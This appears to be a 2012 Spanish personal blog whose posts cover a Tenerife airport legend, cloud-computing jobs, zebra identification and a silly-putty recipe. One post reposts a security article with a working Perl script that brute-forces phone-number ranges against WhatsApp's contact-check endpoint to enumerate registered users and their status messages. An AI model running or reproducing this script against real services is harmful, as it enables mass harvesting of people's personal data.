sábado, 31 de marzo de 2012

El Aeropuerto de Los Rodeos (Tenerife Norte)

Debido a un pequeño debate surgido sobre la veracidad o no de la leyenda urbana de la ubicación del Aeropuerto de Los Rodeos (o Tenerife Norte como se le conoce ahora), me he puesto a buscar información sobre este asunto.

Con una búsqueda sencilla podemos enterarnos de la leyenda con más o menos variantes. En lineas generales dice así:


Cuando se decidió construir un aeropuerto en la isla de Tenerife, contrataron a un ingeniero alemán para que diseñara el proyecto. Aquí ya hay algunas variaciones en la historia. Unos dicen que fue tan solo eso, un ingeniero alemán y por otros sitios encontramos que ese ingeniero era oficial alemán de la época nazi.
El caso es que era alemán. Empezó a estudiar la isla para ver dónde se colocaba el aeropuerto y como buen alemán hacía anotaciones en un plano al parecer en un código que solo entendía él. Resultó que el señor este, falleció repentinamente dejando el trabajo a medias. Archivaron el asunto y al cabo de algún tiempo (otras versiones dicen que empezaron justo después de la muerte del ingeniero) rescataron la documentación y vieron un lugar en el plano con una X. Como todo el mundo sabe, la X marca el tesoro y dijeron: "pues seguro que el godo este quería hacer el aeropuerto aquí". Y con las mismas se pusieron a construirlo.
Pues cuenta la leyenda que por lo visto, la X marcaba el lugar donde NUNCA había que construir el aeropuerto porque al estar a 600 mts sobre el nivel del mar y en la falda del Teide, con sus 3718 metros, sufría muy frecuentemente bancos de niebla repentinos.

Pues después de muchos años pensando que la historia era cierta, resulta que no. Paso a copiar íntegro el artículo escrito por el señor Carlos Tabares de Nava Ponte (Ingeniero Industrial) en el periódico El Día de Tenerife:

"HASTA PRINCIPIOS del siglo XX, el único medio de comunicación de las Islas con el exterior había sido el mar. Por ello, disponer de transporte aéreo significaba poder comunicarse con el mundo. Pocos temas despertaron tanto interés en la opinión pública como nuestro primer aeropuerto. Por otro lado, Canarias es punto de escala entre Europa, África y América. Algunas compañías extranjeras quisieron establecer un aeropuerto en ellas como lugar de parada y repostaje de sus aviones, firmándose convenios aeronáuticos con diferentes naciones europeas para autorizar la utilización del archipiélago canario como escala.
Según relata Dña. Carmen Rosa Centeno en la publicación del Cabildo Insular de Tenerife "Imágenes para una historia 1913-1988", los primeros "campos de aterrizaje" con que contó la isla fueron la Finca del Real, en La Laguna (primera exhibición aérea en 1913 a cargo del piloto francés M. Pierron), y el Llano de Regla (segunda exhibición en terrenos más apropiados tras el fracaso de la primera).
En 1919 se proyectaba un servicio aéreo con América. Canarias representaba un excelente punto estratégico y el Cabildo decidió actuar: ofreció al Estado el solar costero situado entre El Bufadero y la cantera de La Jurada con el propósito de instalar un campo de aviación en Santa Cruz (partiendo de un proyecto francés para la instalación de una base de hidroaviones). El proyecto resultó fallido al desestimarlo el Ministerio de la Marina. Comenzó así un largo período de estudios y presentaciones de proyectos en busca de un emplazamiento adecuado para el ansiado aeropuerto. Se barajaron nombres como La Cuesta (en 1923, propuesto por las líneas aéreas Latécoère, para la línea Canarias-Cabo Juby-Casablanca-Málaga), Los Cristianos (en 1929, propuesto por la compañía alemana Hansa para la línea Alemania-Argentina), Los Rodeos (en 1929 la futura llegada de un avión alemán impulsó al Cabildo a arrendar unos terrenos como campo de aterrizaje), Los Llanos de Maja (en las Cañadas del Teide, que servirían de campo auxiliar con una pista de 4 kms, con una rápida conexión a la carretera de Las Cañadas al Portillo, para cuando las condiciones meteorológicas de Los Rodeos no fueran favorables), Lomo del Caballo, en Candelaria (en 1933, el ingeniero jefe de Aeropuertos estudió estos terrenos como adecuados para la ubicación del futuro campo de aterrizaje, aunque fueron posteriormente descartados), Montaña Roja (zona que fue ocupada décadas después por el actual aeropuerto del Sur-Reina Sofía), El Socorro-Güímar (en 1935 el Cabildo aprobó un proyecto del arquitecto Marrero Regalado para un aeropuerto en esta zona tras un concurso de ofertas de terrenos)?
Para que la Isla fuese incluida dentro del plan aeropostal era necesario que todo quedara resuelto con rapidez, por lo que, en la visita de 1933, el ingeniero jefe de aeropuertos D. Carlos Borbón y el técnico teniente de navío D. José Galán recabaron información del Observatorio Meteorológico acerca de las condiciones meteorológicas de los terrenos de Los Rodeos y de los terrenos denominados "San Lázaro", en las afueras de La Laguna (para determinar la presencia o ausencia de nieblas) y se pidió a la Dirección Aeronáutica el envío de un técnico para visitar los lugares propicios, siendo asesorado por el personal de la Oficina de Vías y Obras Insulares. El técnico, D. José Galán, realizó un estudio de toda la isla, considerando como terrenos más adecuados en las costas de la isla los situados en Montaña Roja (que, como se apuntó antes, son los actualmente ocupados por el aeropuerto Reina Sofía). En el interior de la isla designó como aceptables Los Rodeos y Las Cañadas (el campo de Los Rodeos era aconsejable mantenerlo para fines turísticos y estar cerca de Santa Cruz, contando con Llano de la Maja-Las Cañadas como campo auxiliar en el caso de que Los Rodeos quedara fuera de servicio); el resto de terrenos probables fueron desechados por ofrecer escasas dimensiones o ser demasiado costosas las obras a realizar.
En los siguientes años se consideró también la posibilidad de realizar en Santa Cruz un aeropuerto, que ofrecería excelentes posibilidades de convertirse en aeropuerto marítimo, apto para el empleo de hidroaviones, utilizados en los vuelos de unión con Guinea y Sudamérica. Pero el puerto de Santa Cruz tenía un problema de dimensiones en esos momentos al encontrarse en obras: el dique Sur, incompleto, y el proyecto del dique Este, recién aprobado pero sin comenzar. Se optó por emplear en esas rutas aparatos del tipo anfibio, que podían aterrizar indistintamente en tierra o mar.
En 1935 el Cabildo abrió un concurso de ofertas de terrenos, con destino a la construcción del aeropuerto de Tenerife en los términos municipales de: La Laguna (Los Rodeos)-La Cuesta, Güímar (El Socorro) y Arona (Las Galletas-Los Cristianos).
En junio de ese año, el director general de Aeronáutica, Sr Warleta, visitó los posibles campos de aviación de Montaña Roja (zona del actual aeropuerto del Sur), Los Rodeos y el Llano de la Maja (en Las Cañadas del Teide). A raíz de esta visita, don Maximino Acea, presidente del Cabildo en esa época (abril 1931-enero 1936) recibe la noticia de que Tenerife queda incorporada a la red de comunicaciones aeropostales españolas y se propone seguir con el campo de Los Rodeos y superar el problema de la niebla con el ya mencionado campo auxiliar en Montaña Roja.
Opiniones recogidas en la prensa de la época se oponen a los cuantiosos gastos que representa hacer el aeropuerto de Los Rodeos y otro de carácter auxiliar, considerando mejor otros terrenos cercanos a Santa Cruz, como son la zona de El Sobradillo, La Cuesta, Los Baldíos y el Llano del Moro, o la comprendida entre la finca Ballester y la carretera de El Rosario; o incluso en las afueras de Santa Cruz, en Ofra o junto a la Refinería.
El concurso del Cabildo aprueba el proyecto del arquitecto José E. Marrero Regalado en la zona de El Socorro (Güímar), rebautizándolo como La Hidalga, al ser considerado el primer nombre de mal agüero. El alcalde de Güímar, deseoso de la construcción dentro de su término municipal, ofrece los terrenos a mitad de precio, sin arbitrio de los materiales trasladados a la obra, suministro gratis de agua y construcción a su cargo de la tubería o canalización precisa.
En 1936, el inspector de Aeropuertos, señor Navarro, después de una visita a la isla, informó de que el aeropuerto sería en Los Rodeos, ya que podía aterrizarse un setenta y cinco por ciento de los días; para el veinticinco por ciento restante se construiría un pista auxiliar de 600 metros por 100 en El Socorro. Como es bien conocido, se construyó el aeropuerto de Los Rodeos, y se continuó hablando de la pista auxiliar que nunca se llevó a cabo.
Ya definida por el Ministerio del Aire la localización del aeropuerto, en un documento del Cabildo de 1944 titulado "Notas para una propaganda del Aeropuerto de Los Rodeos" se afirma que "el lugar elegido para establecer el Aeropuerto, en una Isla abrupta como Tenerife en la que parecía imposible que se pudiese explanar el campo de vuelos necesario, ha sido la planicie denominada los Rodeos, próxima a la Ciudad de La Laguna, (?) , el paisaje de lugar de emplazamiento, a 600 metros sobre el nivel del mar, en una zona constantemente verde, es el más contrario al que pudiera imaginarse pensando en Canarias, país próximo a África, tierra de palmeras y nopales,(?), se encuentra próximo a La Laguna, antigua capital de la Isla y que actualmente es la sede de la Diócesis de Tenerife y Capital universitaria de Canarias. Cuando estén terminadas las obras de la Universidad de San Fernando, en la que se trabaja a un ritmo muy intenso, y puedan funcionar todas sus Facultades, es indudable que han de constituir un importante foco de cultura, cuya influencia es de esperar llegue a tierras Hispano-Americanas,(?) el subsuelo está constituido por rocas basálticas y fonolíticas cubiertas por una gruesa capa de tierra compacta que durante todo el año se encuentra cubierta de hierba proporcionando una excelente superficie de aterrizaje. Los vientos dominantes son los del cuadrante Noroeste y ello se tuvo en cuenta al estudiar la orientación del campo. Da una idea clara de la gran división de la propiedad de la Isla el hecho de que se ocuparon terrenos de 128 propietarios para alcanzar una superficie de 110 hectáreas,(?).Tenemos así un aeropuerto que ha de servir de base a nuestras comunicaciones con la Península y está llamado a ser escala para las líneas de América del Centro y del Sur (independientemente de su privilegiada situación geográfica), por la tradición Hispano-Americanista de nuestras islas y los sólidos lazos culturales y afectivos que las unen con los países de habla española"."
Bueno, pues es una lástima porque la leyenda urbana es mas bonita que lo que realmente pasó ¿verdad?

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lunes, 12 de marzo de 2012

Puestos de trabajo "en la nube"

Según leo en la página de la Asociación de Internautas, "la informática en la nube generará 134000 puestos de trabajo en España en cuatro años".

Copio aquí el artículo entero:

"El 'cloud computing' (informática en la nube) creará cerca de 14 millones de nuevos empleos en todo el mundo en 2015, de los que casi 134.000 corresponderán a España, según un estudio de IDC publicado por Microsoft

09-03-2012 - (EUROPA PRESS) - .- Por sectores, la Banca y las Comunicaciones serán los segmentos de negocio que más actividad tengan, a pesar de que no se caractericen por ser los que antes adoptan este tipo de soluciones.

En cuanto al tamaño de las empresas, la creación de puestos de trabajo será muy similar tanto en las que cuentan con más de 500 empleados, con 6,3 millones en 2015, como en las más pequeñas, con 7,5 millones, aunque sean éstas las que adoptarán las soluciones en la 'nube' con mayor velocidad, de acuerdo con el estudio.

El estudio predice asimismo que los beneficios provenientes de la 'nube' podrían situarse en 1,1 billones de dólares por año para esa misma fecha.

Este hecho, junto con el ahorro de costes y el aumento de la productividad que proporciona el 'cloud computing', provocará una "importante" reinversión por parte de las organizaciones y el crecimiento del empleo, según la compañía.

El analista de IDC John F. Gantz ha señalado que para la mayoría de las organizaciones, el 'cloud computing' no debería provocar ningún "quebradero de cabeza", dado que incrementa tanto la innovación en Tecnología de la Información como la flexibilidad, además de minimizar los costes y multiplicar los beneficios".

Asimismo, IDC considera que las inversiones en nube pública llevarán a un crecimiento laboral más rápido que las que se hagan en nube privada."


Hace poco, leí en otra parte que las aplicaciones para móviles (apps) también necesitaban muchísimos programadores y en la web de javaHispano, leí que se necesitan programadores de Java.
Así que parece ser que el truco está en programar en Java aplicaciones para móviles que se desarrollen en la nube. ;-)


lunes, 5 de marzo de 2012

Hacking Whatsapp!

No me cansaré de repetir que la gente tiene mucho tiempo libre y que le da por pensar cosas increíbles. Y que si el tiempo que dedican a esas cosas lo dedicaran "al bien" todo marcharía mucho mejor.
Copio literalmente un artículo que he leído en la página "Security by Default"

¡Qué pesados somos con whatsapp! Ya, bueno, eso es mentira. Realmente somos pesados con todo.

Haciendo algunos ejercicios con aplicaciones de iPhone, me dio por mirar un poco WhatsApp, como ya hiciera Yago o Alberto antes, pero es que la aplicación da tanto juego, que se puede hablar de ella muchas más veces.

Una de las cosas que observé en ese análisis es que cuando arranca, comprueba el estado de tus contactos y de esa forma, saber que personas de tu agenda usan el servicio.

Esta petición se realiza mediante HTTPS contra su servidor web con una llamada muy simple a la URL: https://sro.whatsapp.net/client/iphone/iq.php, que devuelve un plist con sus mensajes y disponibilidad.


P
+34600000158
T
6151511
S
Hey there! I am using WhatsApp.
JID
34600000158
NP



El resto de esta entrada, pues ya os lo podéis imaginar: script en perl, lista de teléfonos registrados de España y a probar y cotillear cuantos hay usando el servicio y que estados graciosos hay. ¿Aburrido? No, ¡inquieto!
La lista de prefijos de teléfono registrados es pública y se puede descargar en un fichero zip de esta página web: http://www.cmt.es/cmt_ptl_ext/SelectOption.do?nav=bases&categoria=descarga


El script en perl no es que soporte threads ni sea nada del otro mundo pero oye... funciona.


#!/usr/bin/perl
use LWP::UserAgent;
my $ua = new LWP::UserAgent;
open A,"num.txt";
my @a=;
my $i=0;
foreach my $b (@a){
chomp $b;
foreach $g (0..99) {
$i++;
my $post="";
$post="cd=1&cc=34&me=600000000";
foreach(0..9999) {
$post .= sprintf ("&u%%5B%%5D=%%2B34$b%02d%04d",$g,$_);
}
print "get $i\n";
my $req = new HTTP::Request 'POST','https://sro.whatsapp.net/client/iphone/iq.php';
$req->content_type('application/x-www-form-urlencoded');
$req->content("$post");
my $res = $ua->request($req);
print $res->as_string;
}
}

El resultado, cuando lo ejecuté el 10 de febrero y tras generar un log de 2Gb: 9.832.654 de números registrados.

domingo, 4 de marzo de 2012

Cómo hacer un Cohete

Requiem Mozart, k.626 - Karajan, Viena P.O.


Wolfgang Amadeus Mozart. Requiem in D minor, k.626, Wiener Philharmoniker & Singverein.

Solistas:
Anna Tomowa Sintow, Helga Muller Molinari, Vinson Cole, Paata Burchuladze

Dirigidos por Herbert von Karajan en 1986

Cebras Escaneadas (National Geographic)


Copy-Paste del artículo de National Geographic de la edición española Noviembre 2011




Los científicos ya no utilizan escopetas con dardos tranquilizantes para marcar a las cebras, sino cámaras fotográficas. Ahora pueden valerse de estas listas blanquinegras para censar una población, como si de códigos de barras se tratase.
Los investigadores de campo toman la foto de un ejemplar y la descargan en un ordenador dotado de StripeSpotter, una aplicación desarrollada por la Universidad de Illinois en Chicago y la Universidad de Princeton. Con la imagen en pantalla, enfocan el flanco del animal, donde cada raya se descompone en hileras verticales de píxeles. Se trata de combinaciones únicas, como las huellas digitales de los humanos. Luego comprueban en la base de datos si se trata de un ejemplar nuevo.
StripeSpotter ha sido utilizado con cebras de Grevy y comunes, y ahora se está probando con jirafas y tigres. Cualquiera puede colaborar: compruebe la identidad de una cebra en code.google.com/p/stripespotter. —Erin Friar McDermott

Foto: Jacques Gillardi/Gtres

jueves, 1 de marzo de 2012

Funny-Putty, Silly-Putty, Voligoma, Boligoma o Blandi-blub

Propiedades: bota, se estira, pero se rompe si la estiras demasiado rápido. Si se golpea no pierde la forma, si la aprietas despacio se puede moldear a gusto. Fluye como un líquido pero de forma muy lenta. Es un líquido no-newtoniano.


Ingredientes:
100 ml. de disolución de bórax (Tetra borato de sodio) al 4%.
100 ml. de pegamento blanco.
100 ml. de agua.
Colorantes vegetales

Preparación:

1. Prepara la disolución de bórax disolviendo 4 g de esta sustancia en 100 ml. de agua tibia.
2. Añadir una o dos gotas de un colorante vegetal.
3. Mezclar lo anterior con pegamento blanco. Agitar muy bien la mezcla cuando se empiece a añadir la disolución de bórax.

Planes de Eficiencia Energética


Estoy estudiando desde hace tiempo, las opciones para instalar en mi casa una estufa de leña, pellets, bioalcohol o cualquier material "que arda".
Cada una tiene sus pros y sus contras, pero ese no es el caso que me lleva a escribir esto. Las estufas de pellets se supone que tienen una subvención y mientras estaba buscando en qué consiste, me he encontrado con que hay una subvención de la Junta de Andalucía para la sustitución de las ventanas por otras mejores y así aislar tu casa evitando un gasto mayor en climatización de tu vivienda. Esta es una idea que llevo pensando y que incluso he hablado con mis vecinos para ver si pedimos presupuesto conjunto para reducir los costes.

El cálculo de ejemplo que viene en la web habla de un descuento del 20%, pero el porcentaje máximo de la subvención respecto al coste total es del 25%.





La opción de sustituir las ventanas me parece muy interesante, pero meterse en obras lo veo por ahora muy lejano. Sobre todo porque en mi casa de "calidades de primera" se cuela un chorro de aire frío por una toma de antena y entre las juntas de un enchufe que tengo en la pared que da a la calle y que he tenido que tapar con cinta de carrocero. Así que antes habría que hacer otros arreglos.


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1 Libro = 1 Euro ~ Save The Children